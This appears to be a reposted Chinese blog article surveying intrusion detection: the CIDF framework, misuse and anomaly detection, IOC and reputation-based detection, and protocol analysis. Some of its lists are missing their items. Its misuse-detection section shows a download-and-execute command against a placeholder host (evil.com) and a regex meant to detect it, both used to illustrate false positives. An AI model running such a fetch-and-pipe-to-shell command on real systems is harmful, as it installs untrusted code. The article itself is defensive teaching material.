赞
踩
对态势的理解是人们组合、分析、解读和保留信息的过程。在态势提取的基础上,我们可以采取一些列方法和技术来对安全态势进行进一步的理解和处理,这其中包括安全检测和分析、态势指标构建和态势评估等。
本文我们将重点对网络安全检测和分析的相关技术进行讨论。
网络安全检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程,这个过程也称为网络安全检测机制。
这种检测可以通过以下几种技术来完成:
当已经采集到的安全数据通过预处理和验证并在其中发现异常时,就会进入这个过程。一旦网络安全检测机制生成告警数据,且这些数据可供给安全人员进行分析,这一过程将宣告结束,就能够进入网络安全分析环节中。
安全分析并非机械化过程并非机械化过程,不能单纯靠软件自动完成,它对人的能力要求较高,需要安全分析人员的高度参与,且没有统一的、固定的标准,主观性较强。
所谓入侵检测,是指对入侵行为的发觉,它通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,从而发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。
具体实施入侵检测的软件与硬件的结合就是入侵检测系统(IDS),它通过收集计算机系统和网络的信息并对这些信息加以分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。
入侵检测和安全异常定义关系十分密切,关于安全异常的定义,可以参阅这篇文章。
入侵检测是通过检测计算机网络和系统,以发现违反安全策略的事件的过程。但并非所有的网络安全数据都会被分析或者值得分析,对于需要进行分析的数据,我们统称为事件。入侵检测就是针对事件进行分析处理的。
一个典型的入侵检测系统至少应包括3个功能模块:
DARPA提出的CIDF(公共入侵检测框架)阐述了入侵检测的通用模型,如下图,
CIDF是一套规范,它定义了IDS表达检测信息的标准语言以及IDS组件之间的通信协议。符合CIDF规范的IDS可以共享检测信息,相互通信,协同工作,还可以与其他系统配合实施统一的配置响应和恢复策略。
CIDF的主要作用在于集成各种IDS使之协同工作,实现各IDS之间的组件重用,所以CIDF也是构建分布式IDS的基础。
CIDF的规格文档由四部分组成,分别为:
1. CIDF体系结构
CIDF的体系结构文档阐述了一个IDS的通用模型,它将一个IDS分为以下四个组件:
CIDF将IDS需要分析的数据统称为事件(event),它可以是基于网络的IDS从网络中提取的数据包,也可以是基于主机的IDS从系统日志等其他途径得到的数据信息。
CIDF组件之间是以通用入侵检测对象(generalized intrusion detection objects,GIDO)的形式交换数据的,一个GIDO可以表示在一些特定时刻发生的一些特定事件,也可以表示从一系列事件中得出的一些结论,还可以表示执行某个行动的指令。
CIDF中的事件产生器负责从整个计算环境中获取事件,但它并不处理这些事件,而是将事件转化为GIDO标准格式提交给其他组件使用,显然事件产生器是所有IDS所需要的,同时也是可以重用的。
CIDF中的事件分析器接收GIDO,并分析他们,然后以一个新的GIDO形式返回分析结果。
CIDF中的事件数据库负责CIDO的存储,它可以是复杂的数据库,也可以是简单的文本文件。
CIDF中的响应单元根据CIDO做出反应,它可以是终止进程、切断连接、改变文件属性,也可以只是简单的报警。
2. CIDF规范语言
CIDF的规范语言文档定义了一个公共入侵标准语言(Common intrusion specification language,CISL),各IDS使用统一的CISL来表示原始事件信息、分析结果和响应指令,从而建立了IDS之前信息共享的基础。CISL是CIDF的最核心也是最重要的内容。
3. CIDF内部通讯
CIDF将各组件之间的通信划分为三个层次结构:
GIDO层(GIDO layer):GIDO层负责对传输信息的格式化(例如标准json结构体),正是因为有了GIDO这种统一的信息表达格式,才使得各个IDS之间的互操作成为可能
消息层(Message layer):消息层负责对传输的信息进行加密认证,然后将其可靠地从源传输到目的地。消息层不关心传输的内容,它只负责建立一个可靠的传输通道
传输层(Negotiated Transport layer):不属于CIDF规范,可以采用很多现有的传输机制来实现
4. CIDF程序接口
CIDF也对各组件之间的信息传递格式、通信方法和标准API进行了标准化。在现有的IDS中,经常用数据采集部分、分析部分、响应部分和日志来分别代替事件产生器、事件分析器、响应单元和事件数据库这些术语。
Relevant Link:
https://wenku.baidu.com/view/6bfdfa4385254b35eefdc8d376eeaeaad0f316d4.html
http://xueshu.baidu.com/usercenter/paper/show?paperid=21e5eb92dcce8622f82fca4cf0ab4123&site=xueshu_se
http://www.doc88.com/p-9415295880161.html
https://www.docin.com/p-960726121-f2.html
根据检测所用数据的来源不同,可将入侵检测系统分为以下三类:
1. 基于主机的入侵检测系统(HIDS)
此种类型的数据来源主要是:
主机入侵检测主要面向不通过网络的本地攻击。
2. 基于网络的入侵检测系统(NIDS)
此种类型的数据源是网络上的原始数据包,利用一个运行在混杂模式下的网络适配器类实时监视并分析通过网络进行传输的所有通信业务。
该类型不依赖于被监测同的主机操作系统,能检测到基于主机的入侵检测系统发现不了的网络攻击行为,提供实时的网络行为检测,且具有较好的隐蔽性。但缺点是无法实现对加密信道和基于加密信道的应用层协议数据的解密,导致对某些网络攻击的检测率较低。
3. 基于混合数据源的入侵检测系统(HIDS+NIDS)
1. 误用检测系统(基于知识的检测)
它通过收集非正常操作的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵。
它根据已知入侵攻击的信息(知识、模式等)来检测系统中的入侵和攻击,其前提是假定所有入侵行为和手段都能识别并表示成一种模式(攻击签名),那么所有已知的入侵都可以用匹配的方法发现。
误用检测的优点是误报率低,对计算能力要求不高,局限在于只能发现已知攻击,对未知攻击无能为力,且模式库难以统一定义,特征库也必须不断更新。
2. 异常检测系统(基于行为的检测)
异常检测首先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。
由于入侵活动并不总是与异常活动相符合,因此其通常做法是构造异常活动集并从中发现入侵性活动子集。
从技术实现性上来讲,异常检测有3个关键:
3. 误用和异常检测混合的入侵检测系统
根据入侵检测工作方式不同,可将入侵检测系统分为以下两类:
实时检测系统:在线式检测系统,是指对网络数据包、主机审计数据等进行实时监测并分析,可以快速反应。
非实时检测系统:也称为离线式检测系统,是指通过事后分析审计事件和文件等,从中检测出入侵攻击。
入侵检测分析方法主要包括误用检测、异常检测,和协议分析方法。我们下面分别讨论:
误用检测是较早出现的入侵检测分析方法,属于第二代入侵检测技术,它是基于知识(模式)的检测方法,根据已知的入侵模式来检测入侵。
主要包括以下几种类型:
1. 模式匹配方法
这是最基本、最简单的误用检测方法,它将已知的入侵特征转换为模式,存放在模式数据库中,在检测过程中将捕获的事件与模式数据库中的入侵模式进行匹配,若匹配成功则认为有入侵行为发生。
入侵者通常会利用系统或网络中的弱点来实施攻击,而这些弱点可以被编成某种模式,形成一个模式库,如果入侵者的攻击方式正好能匹配上入侵检测系统中的模式库,那么就可以认为入侵行为发生。
误用检测非常依赖于模式库,这个模式库是对误用行为的一个解释集,包含了大量对入侵指示器已知的具体行为的描述信息。
然而,对于模式的定义和描述并不固定,准确度也并不是能百分百保证,这就造成了该类检测方法的误报率和漏报率两头都存在难以平衡的问题。例如下面的例子:
某恶意下载的攻击载荷如下,
curl http://evil.com -o evil.sh | sh
通过正则表达式对这种误用行为模式进行概括描述为,
curl\s+http:.(\s±\w+){0,}\s±o\s+..(sh|pl)\s*|sh
但是这里存在着漏报和误报的问题,例如某正常用户管理员可能会执行下列指令,用于自动化的批量运维部署,
curl http://good.com -o good.sh
这里面的本质问题在于:
对误用行为的模式抽象存在维度模糊性,通过正则表达式对文本的概括抽象所代表的维度上,无法有效对”误用“和”合法“的行为模式进行区分,所以就无法进行有效的误用检测。
解决这个困局的一个思路是”升维“或者”维度切换“,在一个维度无法区分的向量,换到另一个维度也许就很容易定义和区分。例如从命令行判断维度转换为url对应的样本内容检测上。
同时,误用检测基于已知攻击的假设使得其只能检测到已知入侵,而对于未知入侵则无能为力。
2. 专家系统方法
基于专家系统的入侵检测方法是通过将安全专家的知识表示成IF-THEN规则,形成专家知识库,然后,运用推理算法进行检测入侵。
编码规则说明攻击的必要条件作为IF的组成部分,当规则的左边的全部条件都满足时,规则的右边的动作才会执行。
入侵检测的开发者并不需要理解专家系统的内部功能和过程,但需要编写决定规则引擎和规则的代码,规则集的每条入侵检测规则都对应某个入侵脚本场景。
从本质上说,专家系统方法是模式匹配方法的升级,在很多工业实践场景中,专家系统的IF-THEN规则,就是由模式匹配规则组成,也即所谓的”与或非组合模式匹配规则“,通过组合多个模式匹配规则,来获得单个模式匹配规则所无法取得的效果。
3. 状态转换方法
状态转换方法使用系统状态和状态转换表达式描述和检测已知的入侵。
状态状态分析由R.Kemmerer提出,即将状态转换图应用于入侵行为的分析。状态转换法将入侵过程看作是一个行为序列,这个行为序列使得系统由初始状态转入被入侵状态。
分析时首先针对每一种入侵方法确定系统的初始状态和被入侵状态,以及导致状态转换的条件,即导致系统进入被入侵状态必须执行的操作(特征事件)。然后用状态转换图来表示每一个状态和特征事件,这些事件被集成于模型中,所以检测时不需要一个个地审计记录。
但是,状态转换时针对事件序列分析,所以不善于分析复杂的事件,而且不能检测与系统状态无关的入侵。
在实际的工程实践中,我们会借助马尔科夫概率转移矩阵来对入侵事件进行二步图建模,并通过二步图的概率累乘计算得到某个会话的异常程度计量。
但是这里会有两个比较大的问题,
4. 模型推理方法
对于入侵检测来说,我们常常可以用UEBA的方法论来对原子事件进行建模分析,但是UEBA最大的问题在于,单纯从行为的角度发现的异常,并不一定就代表着实际的入侵。
为了解决这个问题,我们可以用模型推理这个新的视角来看待异常行为问题。将攻击者行为的知识描述为【攻击者目的:攻击者达到此目的的可能行为步骤:攻击后获得的结果】,例如:
模型推理方法的好处在于,扩大了入侵检测的维度范围,原本从单纯行为层面不好检测的事件,通过攻击者目的或者攻击后获得的结果,可以辅助检测,同时检测结果也反过来对攻击步骤进行标记。
5. 基于信誉的检测
基于信誉的检测是基于特征检测的一个子集,用于检测我方受保护主机是否连接了曾参与过恶意行动的恶意互联网主机。这从本质上决定了基于信誉的检测只能依靠一系列的简单规则,通常是:
基于信誉的检测在网络安全中是一种非常重要的检测手段,常常被称为基于威胁情报的检测(内生、外生),我们接下来详细讨论一下。
IOC是可用于客观描述网络入侵事件,以与平台无关方法表示的任意信息片断。
IOC可以有不同的形式和大小,还能通过多种途径表示为不同检测机制所接受的格式。一旦IOC被获得并以平台指定语言或格式应用,比如Snort规则或Bro格式文件,它就成为特征的一部分。一个特征可以包括一个或多个IOC。
根据最常见的分类方式,信标会被分为基于主机和基于网络两类。
基于主机的IOC是一种可以客观描述入侵事件的信息片断,可在主机发现,一些通用的基于主机的信标包括:
基于网络的IOC也是一种可以客观描述入侵事件的信息片断,可在主机间被捕获,一些通用的基于网络的信标包括:
对于静态信标(static indicator)而言,每个变量都有明确的定义。静态信标有三个变种:
它们的逻辑依属关系如下图:
以一个假设的入侵场景为例,通过分析网络和主机获取的数据,判定发生了下列事件序列,
上述事件代表了一条冗长的行为信标,它过于复杂。
为了有效地协调基于特征、基于异常和基于统计的检测机制,首先需要把信标拆解为更有用的片断,以确保它们适用于检测后继内容。结果就是会产生下列行为(behavioral,B)信标:
接下来,将这些行为信标拆解为独立的原子(atomic,A)信标和计算(computed,C)信标,结果如下:
上面一共提供了5个行为信标,1个计算信标,10个原子信标,可以将其合并到检测机制中。这样就将信标转换为适用于检测机制的特征,如下:
可以看到,检测由单个事件产生的变化无常的信标,可以有很多不同的方法。
根据受保护系统的不同架构,需要具备多套监测机制,以应用单独信标形成的特征。最终确定哪种方法最适合特定IOC的检测,取决于网络基础设施、检测机制的差异、以及IOC相关情报的差异。
对于可变信标(dynami indicator)而言,为的是更好地发现未知安全威胁,有时需要考虑使用可变信标。
这类信标通常产生于一个攻击行为可以导致的序列事件,并用于判断变量是否存在。从本质上看,它可以发现理论上的攻击行为,而不只是已经发生过的攻击。根源在于其分析对象是攻击所采用的特定技术手段,而不是某个孤立的对手所实施的攻击个案。
还是上面同样的例子,我们来看一下可变信标的表现。这次是基于理论攻击场景,而不是基于已经真实发生过的攻击场景。
上述步骤表现为多个行为信标,行为信标又进一步包含变换的原子信标和计算信标。齐总部分信标列举如下:
如上列出有10个潜在的原子信标、2个变化的计算信标、5个变化的行为信标。
现在,我们可以将这些信标新城特征,使它们适用于相应的检测机制。可变信标通常可被反复应用或组合使用,以适用于检测更多的攻击场景:
更一般地说,可变信标中的攻击行为序列,本质上是对原始行为的一种元规则抽象描述。同一个可变信标下,可以对应于无限的行为信标,然后行为信标又进一步分解为原子信标和计算信标。
可变信标部分可用于各项检测,尤其适用于对未知攻击的检测。
根据定义,信誉度是对某人或某物具有特殊习惯或特点的普遍性意见。应用到网络防御场景中,主机的信誉度可能是正值,也可能是负值,或者为0.
组织判定一台主机信誉度为负值的原因有很多,一般来说有如下方法:
异常检测(anormaly detection)是指根据非正常行为(系统或用户)和资源非正常使用情况检测出入侵行为。异常检测是一种基于行为的检测方法,它的通用性较强,可以检测出未知的攻击模式。
异常检测的关键问题在于正常使用轮廓(profile)的建立以及如何利用该轮廓对当前的系统/用户行为进行比较,从而判断出于正常轮廓的偏离程度。但这里存在几点主要挑战:
异常检测是目前学界和工业界的重点研究方向,目前存在多种异常入侵检测方法,如:
1. 基于统计的异常检测方法
统计方法首先给信息对象,如
针对这些信息对象,创建一个统计描述,统计正常使用时的一些测量属性,如
测量属性的平均值将被用来与网络、系统的行为进行比较,任何观察值在正常偏差之外时,就认为有入侵发生。其优点是可检测到未知的入侵和更为复杂的入侵,缺点是误报、漏报率高,且不适应用户正常行为的突然改变。
进入更具体一些的实际操作层面,基于统计的异常检测方法主要包括以下关键技术:
关于统计异常建模的应用方面讨论,还可以参阅这篇文章。
笔者这里以入侵检测为例,粗粒度地讨论一下如何通过统计异常来进行异常入侵检测
统计量的选择要遵循【最大信息增益】与【统计相关性】原理,根据对目标预测效能的统计相关性进行排序,优先选择排在靠前的特征。
对于非结构化的信息对象,可以根据信息对象本身的属性以及专家领域经验,总结出一系列统计量,也即特征,
笔者抽取了以进程为轴心的相关行为日志,进程、网络、进程写文件、cpu,根据10分钟为一个归并窗口得到相关的统计量。
并根据已知的历史告警库对样本向量表进行了打标,然后通过GBDT进行了有监督训练,基于训练得到的模型对新数据进行了预测,
通过一些列实验,笔者得出下列初步结论:
笔者思考
:
对于网络安全这个特殊的领域来说,目前来说置信度最高的检测方法论还是【检测黑客达成了哪些攻击目的】,具体来说就是:
以上的种种方法,从本质上看,都是【检测黑客达成了哪些攻击目的】,是在检测被攻击的客体所遭到的攻击的结果。现在业内也已经有很多这方面的良好实践和应用。
但是反过来,是否可以转换思路,从攻击者主体的角度主动发现攻击者,通过图论算法将攻击者所在的社区或者单个攻击者离群点给“圈定”出来。如果能有效发现攻击者,就拥有了主动情报,基于主动情报,发现客体的被入侵行为就非常简单了。
2. 基于有监督学习的异常检测方法
有监督学习方法采用非参量化的分析技术,使用自学习技术来提取异常行为的特征,需要对训练数据集进行学习以得出正常的行为模式,并且要求保证训练数据的纯洁性,即不包含任何入侵或异常的用户行为。
神经网络是一种典型的有监督学习,它由大量的处理单元(unit)组成,单元之间通过带有权值的连接(connection)进行交互。神经网络所包含的知识体现在网络的结构当中,学习过程就表现为权值的改变和连接的添加或删除。
3. 基于数据挖掘的入侵检测方法
数据挖掘是指从数据库或数据仓库的数据中提取人们感兴趣的知识或规则,这些知识和规则是隐含的、事先未知的、对决策有潜在价值的。提取的知识通常用如下几种形式表示:
在入侵检测系统中,数据挖掘通常是指从大量的数据中提取出模型的过程,采取以数据未中心的观点,把入侵检测看成一个数据分析的过程。
关于关联规则挖掘在网络安全里的应用讨论,可以参阅另一篇文章。
4. 异常检测的基本前提假设
异常检测的基本前提假设是用户的正常行为表现为可预测的、一致的、有规律的系统使用模式,它通过描述正常行为的模式来检查和标记非正常(异常)行为。
但是,并非所有的异常行为都是入侵行为,入侵行为只是异常行为的一个子集,而这也是异常检测容易引起误报的原因。
异常检测的基础是异常行为模式系统的误用。
安全数据分析师将轮廓定义成度量集(特征集合),度量衡量用户特定方面的行为,每一个度量与一个阈值(固定或者动态)相联系,异常阈值设置的不恰当会造成IDS出现较高的误报率和漏检率。
关于异常检测中的阈值设定,常见的有如下方法论:
协议分析是出现最晚的入侵检测方法,它利用网络协议的高度规则性,快速识别协议,并检测是否存在攻击,通过辨别数据包的协议类型,以便使用相应的数据分析程序来检测数据包。
协议分析技术的主要优势在于采用命令解析器(在不同的协议层次上),能够对每个用户命令作出详细分析,如果出现IP碎片,可以对数据包进行重组还原,然后再进行分析。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。